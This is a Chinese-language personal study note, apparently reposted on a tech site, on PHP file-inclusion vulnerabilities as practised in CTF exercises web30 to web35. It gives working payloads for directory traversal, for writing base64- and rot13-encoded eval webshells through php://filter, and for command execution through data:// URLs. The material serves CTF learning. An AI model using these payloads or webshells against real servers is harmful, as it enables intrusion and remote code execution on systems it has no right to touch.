【心得】PHP文件包含基本利用个人笔记

【心得】PHP文件包含基本利用个人笔记本文可能比较凌乱 快速总结保证自己看得懂 真 个人笔记 文件包含的本质 代码复用 并行开发 模块化 增加移植性 include 和 eval 的区别 include 和 eval 一样 都不是函数 都是语言结构 无法通过配置文件函数禁用来禁用

大家好,我是讯享网,很高兴认识大家。

本文可能比较凌乱,快速总结保证自己看得懂(真.个人笔记)

文件包含的本质:代码复用、并行开发、模块化、增加移植性

include和eval的区别:

include和eval一样,都不是函数,都是语言结构,无法通过配置文件函数禁用来禁用

include后面跟一个路径,表示要执行的php文件的路径,读取路径中文件内容后,然后执行里面的php代码

php常见的文件包含函数,语言结构

include 仅仅是包含这个文件,如果文件不存在,那么也没啥大不了,继续执行后面代码

require 必须给老子包含好这个文件,如果没包含好,我就摆烂不执行了,报错

include_once 包含一次 遇到错误继续执行

require_once 成功包含一次,遇到错误停止

include "flag.php";

文件包含漏洞,是指通过文件包含时,包含的内容我们用户可控

例题1:web30


讯享网

payload:

?file=/var/www/secret

这个文件不含php代码

当包含的文件没有php代码时,一律认为是文本文档(相当于任意文件读取)

php伪协议

1.什么是协议?

网络层协议:IP、ICMP、ARP、IGMP

应用层协议:http,https,ftp,ssh,gopher

2.协议的格式

协议头://内容

3.php中的协议

file协议

http协议

ftp协议

data协议

phar协议

4.file协议

不写协议名字,就默认认为是file协议

相对路径和绝对路径

相对路径转了绝对路径

flag.php index.php /var/www/html  include "flag.php"  include "file:///var/www/html/flag.php";

include "flag.php";

include "../html/flag.php";     "/var/www/html/../html/flag.php"

上层目录特性

1.每个目录都有上层目录

2.根目录的上层目录是根目录本身

/var/www/html/../../../  => / 目录

/var/www/html/../../../../../../../../../  => / 目录 上溯

php目录整理特性

/var/www/html/suibian/../flag.php

=>php解析为/var/www/html/flag.php

(事实上suibian这个目录并不存在,所以系统会报错,但php的目录整理特性不会报错)

例题2:web31

 显然一个目录穿越

payload:

?file=../../../../../../../flag

5.http协议

配合文件包含,可以读取远程的php代码并在本地执行,最终实现RCE的效果

6.ftp协议

默认21端口,进行文件传输的协议

7.php协议

php://input

 php://input可以读取没有处理过的POST数据(即原始数据)。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data

例题3:web32

注意hackbar传post必须要以key-value的形式,所以这里只能bp抓包传post

ps:不能直接传/flag,/flag为文件的内容,而非文件的路径 

即文件路径是php://input,文件内容是/flag(因为没有php标记,所以被当作文本文档处理)

php://filter

本质就是在读取之前对内容进行了一次过滤

例题4:web33

?file=php://filter/write=convert.base64-decode/resource=1.php

content=PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/Pg==

(明文:<?php phpinfo();eval($_POST[1]);?>)

访问1.php,写马成功,下略

例题5:web34

 死亡die绕过

这里用rot13方便写

<?php eval($_POST[1]);?>

rot13编码后:

<?cuc riny($_CBFG[1]);?>

payload:

?file=php://filter/write=string.rot13/resource=1.php

content=<?cuc riny($_CBFG[1]);?>

访问1.php,成功写马,下略

8.data协议

data伪协议以内容为导向

例题6:web35

?file=data://text/plain,<?php system('tac /f*');?>

小讯
上一篇 2025-03-25 08:37
下一篇 2025-04-01 20:18

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/63614.html